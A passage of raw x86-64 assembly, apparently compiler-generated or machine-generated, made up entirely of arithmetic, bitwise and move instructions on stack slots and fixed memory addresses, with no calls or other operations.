mov byte [rsp + 0x244], al
lea rax, [rsp + 0x292]
mov qword [rsp + 0xb900], rax
movzx eax, byte [rsp + 0x2a9]
mov rcx, qword [rsp + 0xa6d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab90]
mov byte [rcx], al
mov rax, qword [rsp + 0x9110]
mov qword [rsp + 0xb908], rax
mov rax, qword [rsp + 0xb4b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5030]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f44]
mov ecx, dword [rsp + 0x4ea4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad80]
mov dword [rcx], eax
lea rax, [rsp + 0x8558]
mov qword [rsp + 0xb910], rax
mov rax, qword [rsp + 0xaea0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e70]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc078], ax
movsx eax, byte [0x1401cc066]
mov rcx, qword [rsp + 0xa878]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9ac8]
mov byte [rcx], al
lea rax, [rsp + 0x1718]
mov qword [rsp + 0xb918], rax
movsx eax, word [rsp + 0x177c]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x18d0], ax
mov rax, qword [rsp + 0xb570]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93b0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1b1], al
lea rax, [rsp + 0x9888]
mov qword [rsp + 0xb920], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a00], rax
mov eax, dword [rsp + 0x5114]
mov dword [rsp + 0x52f0], eax
mov eax, dword [rsp + 0x4bc4]
mov ecx, dword [rsp + 0x5154]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb770]
mov dword [rcx], eax
lea rax, [rsp + 0x18e8]
mov qword [0x1401cdcb8], rax
mov rax, qword [0x1401cdb88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ba8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xac88]
mov byte [rcx], al
movsx eax, word [rsp + 0x18fc]
movsx ecx, word [rsp + 0x14c8]
add eax, ecx
mov word [rsp + 0x1390], ax
movzx eax, byte [rsp + 0x25d]
mov rcx, qword [0x1401cd748]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb7d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x18a0]
mov word [rsp + 0x1974], ax
mov rax, qword [rsp + 0xb848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4748], eax
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a7c], eax
mov rax, qword [rsp + 0xb108]
mov rax, qword [rax]
mov qword [rsp + 0xb928], rax
mov rax, qword [rsp + 0xa740]
mov rcx, qword [rsp + 0xa678]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb868], rax
mov rax, qword [rsp + 0xb878]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2f4]
sub eax, ecx
mov byte [0x1401cc00b], al
lea rax, [rsp + 0x305]
mov qword [rsp + 0xb930], rax
movsx eax, byte [rsp + 0x22b]
mov rcx, qword [rsp + 0xa018]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2be], al
lea rax, [rsp + 0x1840]
mov qword [rsp + 0xb938], rax
mov rax, qword [rsp + 0xa610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb218]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15a8], ax
mov eax, dword [rsp + 0x5170]
mov ecx, dword [rsp + 0x4ff8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51a8], eax
lea rax, [0x1401cd720]
mov qword [rsp + 0xb940], rax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0xb180]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x96c8]
mov qword [rcx], rax
lea rax, [rsp + 0x8ae8]
mov qword [rsp + 0xb948], rax
mov rax, qword [0x1401cd9d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x91c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401cc124], ax
mov rax, qword [rsp + 0xb008]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa440]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16fc], ax
movsx eax, byte [rsp + 0x220]
movsx ecx, byte [rsp + 0x239]
sar eax, cl
mov byte [rsp + 0x269], al
lea rax, [rsp + 0x284]
mov qword [rsp + 0xb950], rax
mov rax, qword [rsp + 0x9708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16f0]
or eax, ecx
mov word [rsp + 0x1778], ax
mov rax, qword [rsp + 0x9cd0]
mov eax, dword [rax]
mov dword [rsp + 0x52f4], eax
mov eax, dword [rsp + 0x512c]
mov ecx, dword [rsp + 0x50f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fec], eax
mov rax, qword [rsp + 0x7fb8]
mov rcx, qword [rsp + 0x99c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x92c0]
mov qword [rcx], rax
lea rax, [rsp + 0xafb0]
mov qword [rsp + 0xb958], rax
mov rax, qword [rsp + 0x9488]
movzx eax, word [rax]
mov word [0x1401cdcc0], ax
movzx eax, byte [rsp + 0x2e5]
mov rcx, qword [rsp + 0x9058]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x290], al
mov rax, qword [rsp + 0xa9a8]
movzx eax, word [rax]
mov word [rsp + 0x1978], ax
mov rax, qword [0x1401cda78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2f6]
and eax, ecx
mov rcx, qword [rsp + 0xa9b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1544]
mov rcx, qword [rsp + 0xa960]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9730]
mov word [rcx], ax
mov eax, dword [rsp + 0x509c]
mov dword [rsp + 0x52f8], eax
mov rax, qword [rsp + 0x9e80]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa898]
mov rax, qword [rax]
mov qword [rsp + 0xb960], rax
mov rax, qword [rsp + 0xa010]
mov rcx, qword [rsp + 0x8f38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb618]
mov qword [rcx], rax
lea rax, [0x1401cc066]
mov qword [0x1401cdcc8], rax
lea rax, [rsp + 0x1500]
mov qword [rsp + 0xb968], rax
mov rax, qword [rsp + 0x9b48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x251], al
movsx eax, word [rsp + 0x16bc]
movsx ecx, word [0x1401cc0ac]
sub eax, ecx
mov word [rsp + 0x18d0], ax
mov rax, qword [rsp + 0x9630]
movzx eax, byte [rax]
mov byte [rsp + 0x306], al
mov rax, qword [rsp + 0xa140]
mov rcx, qword [rsp + 0xb548]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e48], rax
lea rax, [rsp + 0x486c]
mov qword [rsp + 0xb970], rax
mov rax, qword [rsp + 0xb088]
mov rcx, qword [rsp + 0x8f90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3a0], rax
mov rax, qword [rsp + 0x9d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50ec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x510c], eax
mov rax, qword [rsp + 0x92a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1401cd978]
mov byte [rcx], al
mov rax, qword [rsp + 0x9578]
movzx eax, byte [rax]
mov byte [rsp + 0x307], al
movsx eax, byte [rsp + 0x1ff]
mov rcx, qword [rsp + 0xa850]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa4d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb8c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9628]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xedc], ax
mov rax, qword [rsp + 0x9690]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb8a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1894], ax
mov rax, qword [rsp + 0xb2b0]
mov rcx, qword [rsp + 0xa2c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa5f8], rax
lea rax, [rsp + 0x4f40]
mov qword [rsp + 0xb978], rax
mov rax, qword [rsp + 0x90b0]
mov ecx, dword [rsp + 0x4dfc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xadf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa608]
mov rax, qword [rax]
mov qword [rsp + 0xb980], rax
movsx eax, word [rsp + 0x162c]
mov rcx, qword [rsp + 0x9590]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa790]
mov word [rcx], ax
lea rax, [rsp + 0x15d4]
mov qword [0x1401cdcd0], rax
lea rax, [rsp + 0x2d4]
mov qword [rsp + 0xb988], rax
mov rax, qword [0x1401cdb30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa520]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb838]
mov byte [rcx], al
mov rax, qword [rsp + 0xa960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xade0]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xa618]
mov word [rcx], ax
lea rax, [rsp + 0x5130]
mov qword [rsp + 0xb990], rax
mov rax, qword [rsp + 0xab78]
mov ecx, dword [rsp + 0x5044]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f3c], eax
mov rax, qword [rsp + 0xb670]
mov rax, qword [rax]
mov qword [rsp + 0xb998], rax
mov rax, qword [rsp + 0xa028]
mov rcx, qword [rsp + 0x9f68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
mov rax, qword [0x1401cd7b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18ec]
add eax, ecx
mov rcx, qword [rsp + 0x9ec8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x223]
movzx ecx, byte [rsp + 0x76]
sub eax, ecx
mov byte [0x1401cc00f], al
mov rax, qword [rsp + 0xaa08]
movzx eax, word [rax]
mov word [rsp + 0x197c], ax
mov rax, qword [0x1401cdaa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x223]
sub eax, ecx
mov byte [rsp + 0x290], al
lea rax, [rsp + 0x2e7]
mov qword [rsp + 0xb9a0], rax
mov rax, qword [rsp + 0x9200]
movzx ecx, al
mov rax, qword [rsp + 0xa928]
shl rax, cl
mov qword [rsp + 0xb430], rax
mov rax, qword [rsp + 0x92f8]
mov rcx, qword [rsp + 0x9e50]
mov qword [rsp + 0xb9a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb9a8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xa3c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0b8]
mov eax, dword [rax]
mov dword [rsp + 0x52fc], eax
mov eax, dword [rsp + 0x5294]
mov ecx, dword [rsp + 0x524c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x47cc], eax
lea rax, [rsp + 0x1870]
mov qword [rsp + 0xb9b0], rax
lea rax, [rsp + 0x305]
mov qword [0x1401cdcd8], rax
movsx eax, word [rsp + 0x11fc]
mov rcx, qword [rsp + 0x9980]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16b0], ax
mov rax, qword [0x1401cdca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x22f]
and eax, ecx
mov rcx, qword [rsp + 0xb550]
mov byte [rcx], al
lea rax, [rsp + 0x23d]
mov qword [rsp + 0xb9b8], rax
mov rax, qword [rsp + 0xa128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x506c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5020], eax
mov rax, qword [rsp + 0xa830]
mov qword [rsp + 0xb9c0], rax
mov rax, qword [rsp + 0xa620]
mov ecx, dword [rsp + 0x4e50]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x95b8]
mov qword [rsp + 0xb9c8], rax
mov rax, qword [0x1401cd7f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb178]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c8]
add eax, ecx
mov word [0x1401cc13c], ax
mov rax, qword [rsp + 0x9f20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb718]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1508], ax
movzx eax, byte [rsp + 0x2e8]
mov byte [rsp + 0x308], al
movsx eax, word [rsp + 0x1848]
mov rcx, qword [rsp + 0x9dd8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a80]
mov word [rcx], ax
lea rax, [rsp + 0x14cc]
mov qword [rsp + 0xb9d0], rax
mov rax, qword [rsp + 0xac50]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa538], rax
mov rax, qword [rsp + 0x9360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5080]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb258]
mov dword [rcx], eax
lea rax, [rsp + 0xadd8]
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xb4b0]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x49ec], eax
movzx eax, byte [rsp + 0x2c3]
movzx ecx, byte [rsp + 0x1e0]
sar eax, cl
mov byte [0x1401cc097], al
movzx eax, byte [rsp + 0x26d]
mov byte [rsp + 0x309], al
movsx eax, word [rsp + 0x169c]
mov rcx, qword [rsp + 0xaa38]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x16f8], ax
movzx eax, byte [rsp + 0x1f5]
mov rcx, qword [rsp + 0x8f80]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1fb], al
lea rax, [rsp + 0x1df]
mov qword [rsp + 0xb9e0], rax
mov rax, qword [rsp + 0xb7b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaba8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb360]
mov qword [rcx], rax
mov eax, dword [rsp + 0x51e4]
mov ecx, dword [rsp + 0x47b8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4acc], eax
mov rax, qword [rsp + 0xa8d8]
mov rcx, qword [rsp + 0x8f28]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa708], rax
mov eax, dword [rsp + 0x4f08]
mov dword [rsp + 0x5300], eax
movzx eax, word [rsp + 0x1134]
mov rcx, qword [rsp + 0xaaf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc11c], ax
movsx eax, word [rsp + 0x1844]
movsx ecx, word [rsp + 0x168c]
sub eax, ecx
mov word [rsp + 0x1514], ax
movzx eax, word [rsp + 0x170c]
movzx ecx, word [rsp + 0x18a0]
add eax, ecx
mov rcx, qword [rsp + 0xb718]
mov word [rcx], ax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0xb9e8], rax
movsx eax, word [rsp + 0x1630]
movsx ecx, word [rsp + 0x1970]
add eax, ecx
mov word [rsp + 0x18fc], ax
lea rax, [rsp + 0x96d0]
mov qword [rsp + 0xb9f0], rax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x52d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb7f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xada8], rax
mov eax, dword [rsp + 0x4cd4]
mov dword [rsp + 0x5304], eax
movsx eax, byte [rsp + 0x28b]
movsx ecx, byte [0x1401cc096]
and eax, ecx
mov rcx, qword [0x1401cdc38]
mov byte [rcx], al
mov rax, qword [rsp + 0x91b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa440]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa7a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x226]
mov byte [rsp + 0x30a], al
mov rax, qword [rsp + 0x9ff0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb6c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1504], ax
mov rax, qword [rsp + 0xa0e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22e]
or eax, ecx
mov byte [rsp + 0x2e1], al
lea rax, [rsp + 0x8558]
mov qword [rsp + 0xb9f8], rax
mov eax, dword [0x1401cd720]
mov ecx, dword [rsp + 0x4e6c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8520]
mov qword [rsp + 0xba00], rax
mov eax, dword [rsp + 0x4f34]
movzx ecx, al
mov eax, dword [rsp + 0x4b18]
sar eax, cl
mov dword [rsp + 0x506c], eax
lea rax, [rsp + 0x166]
mov qword [0x1401cdce0], rax
mov rax, qword [rsp + 0xaca0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x194c]
add eax, ecx
mov word [rsp + 0x18b8], ax
mov rax, qword [rsp + 0xb158]
movzx eax, word [rax]
mov word [rsp + 0x1980], ax
movzx eax, byte [rsp + 0x20d]
movzx ecx, byte [rsp + 0x2bc]
and eax, ecx
mov rcx, qword [rsp + 0xb6c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x15b4]
mov word [rsp + 0x1984], ax
mov rax, qword [rsp + 0xaaa0]
mov ecx, dword [rsp + 0x501c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa760]
mov dword [rcx], eax
lea rax, [rsp + 0xaed8]
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xa210]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb4d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa9c0]
mov rcx, qword [rsp + 0x9d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fdc], eax
movsx eax, byte [rsp + 0x257]
mov rcx, qword [rsp + 0xa138]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc066], al
movzx eax, word [rsp + 0x17a4]
mov word [rsp + 0x1988], ax
mov rax, qword [rsp + 0xa2b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1820], ax
movzx eax, byte [rsp + 0x27f]
mov byte [rsp + 0x30b], al
mov rax, qword [rsp + 0x95f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
add eax, ecx
mov rcx, qword [rsp + 0x9c40]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5218]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ef0], eax
lea rax, [rsp + 0xb4e0]
mov qword [rsp + 0xba10], rax
mov eax, dword [rsp + 0x4f90]
mov ecx, dword [rsp + 0x4f00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x52f0], eax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0xba18], rax
lea rax, [rsp + 0x2a6]
mov qword [0x1401cdce8], rax
movzx eax, word [0x1401cdaf8]
movzx ecx, word [rsp + 0x1868]
sar eax, cl
mov word [rsp + 0x1518], ax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0xa408]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9db0]
mov byte [rcx], al
lea rax, [rsp + 0x249]
mov qword [rsp + 0xba20], rax
mov rax, qword [0x1401cd7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1988]
xor eax, ecx
mov word [rsp + 0x11f4], ax
lea rax, [rsp + 0xb868]
mov qword [rsp + 0xba28], rax
mov rax, qword [rsp + 0x7f38]
mov rcx, qword [rsp + 0x8ab8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6e0], rax
mov rax, qword [rsp + 0xa1e0]
mov ecx, dword [rsp + 0x4dc4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51a4], eax
lea rax, [rsp + 0x5020]
mov qword [rsp + 0xba30], rax
lea rax, [rsp + 0x21d]
mov qword [0x1401cdcf0], rax
movsx eax, byte [0x1401cc072]
mov rcx, qword [rsp + 0xb0c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa7b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1744]
movsx ecx, word [rsp + 0xefc]
and eax, ecx
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xa0e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xab48]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf60]
mov word [rcx], ax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
mov word [rsp + 0x198c], ax
mov rax, qword [rsp + 0xb160]
mov rcx, qword [rsp + 0xa7c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xadb0], rax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0x9ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9000]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e8c]
mov dword [rsp + 0x5308], eax
mov rax, qword [rsp + 0xa598]
mov rcx, qword [rsp + 0xb9f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaf90], rax
movzx eax, word [rsp + 0x14d8]
mov word [rsp + 0x1990], ax
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1864]
add eax, ecx
mov rcx, qword [0x1401cd8f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x206], al
mov rax, qword [0x1401cdbf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9960]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25a], al
lea rax, [rsp + 0x1738]
mov qword [rsp + 0xba38], rax
mov eax, dword [rsp + 0x52e4]
mov ecx, dword [rsp + 0x5118]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50d4], eax
mov rax, qword [rsp + 0x9e58]
mov qword [rsp + 0xba40], rax
mov rax, qword [rsp + 0x9990]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8dd8]
shr rax, cl
mov qword [rsp + 0xa020], rax
mov eax, dword [rsp + 0x5124]
movzx ecx, al
mov eax, dword [rsp + 0x5284]
shl eax, cl
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
lea rax, [0x1401cd7d8]
mov qword [rsp + 0xba48], rax
lea rax, [rsp + 0x1f0]
mov qword [0x1401cdcf8], rax
movzx eax, byte [rsp + 0x2ae]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0xa170]
movzx eax, byte [rax]
mov byte [rsp + 0x30c], al
movzx eax, word [0x1401cdca0]
mov rcx, qword [rsp + 0x9340]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x15b0], ax
lea rax, [rsp + 0xa998]
mov qword [rsp + 0xba50], rax
mov rax, qword [rsp + 0xa9d8]
mov ecx, dword [0x1401cc01c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9280]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x95e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaef0]
mov qword [rsp + 0xba58], rax
mov rax, qword [rsp + 0xb700]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x304], al
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xedc]
and eax, ecx
mov rcx, qword [0x1401cd740]
mov word [rcx], ax
movzx eax, byte [rsp + 0x261]
mov byte [rsp + 0x30d], al
movsx eax, word [rsp + 0x1628]
movsx ecx, word [rsp + 0xfc4]
add eax, ecx
mov word [rsp + 0x17b4], ax
mov rax, qword [rsp + 0x98a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov byte [rsp + 0xe1], al
lea rax, [rsp + 0x5134]
mov qword [rsp + 0xba60], rax
mov rax, qword [rsp + 0x92d8]
mov rcx, qword [rsp + 0xae98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb510]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa590]
mov rax, qword [rax]
mov qword [rsp + 0xba68], rax
mov rax, qword [rsp + 0xb228]
mov rcx, qword [rsp + 0x9b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x519c], eax
movzx eax, byte [0x1401cc086]
mov rcx, qword [rsp + 0xab90]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb178]
mov byte [rcx], al
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x192c]
sar eax, cl
mov rcx, qword [0x1401cdcb0]
mov word [rcx], ax
lea rax, [rsp + 0x1824]
mov qword [rsp + 0xba70], rax
mov rax, qword [0x1401cdce0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb9b8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x9a], al
lea rax, [rsp + 0x155c]
mov qword [rsp + 0xba78], rax
movzx eax, byte [rsp + 0x2c1]
movzx ecx, byte [rsp + 0x14d]
xor eax, ecx
mov rcx, qword [rsp + 0x9998]
mov byte [rcx], al
mov rax, qword [rsp + 0xb258]
mov ecx, dword [rsp + 0x51a0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9408]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa840]
mov rcx, qword [rsp + 0x9490]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8338], rax
mov rax, qword [rsp + 0x9840]
mov rcx, qword [rsp + 0x9580]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa590]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb4b0]
mov eax, dword [rax]
mov dword [rsp + 0x530c], eax
lea rax, [rsp + 0x203]
mov qword [0x1401cdd00], rax
movzx eax, word [rsp + 0x1610]
movzx ecx, word [0x1401cc078]
sub eax, ecx
mov word [rsp + 0xeec], ax
lea rax, [rsp + 0x18f8]
mov qword [rsp + 0xba80], rax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x305]
add eax, ecx
mov byte [rsp + 0x205], al
movsx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0xa018]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
lea rax, [rsp + 0xa7c8]
mov qword [rsp + 0xba88], rax
mov rax, qword [rsp + 0xa158]
mov rcx, qword [rsp + 0xa320]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa158]
mov dword [rcx], eax
lea rax, [rsp + 0xb610]
mov qword [rsp + 0xba90], rax
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50b8], eax
mov rax, qword [rsp + 0x9950]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1658]
sub eax, ecx
mov word [0x1401cc164], ax
movzx eax, word [rsp + 0x1894]
movzx ecx, word [0x1401cc160]
sub eax, ecx
mov word [rsp + 0x176c], ax
movzx eax, word [rsp + 0x153c]
mov word [rsp + 0x1994], ax
mov rax, qword [rsp + 0xa150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x308], al
mov rax, qword [0x1401cdac0]
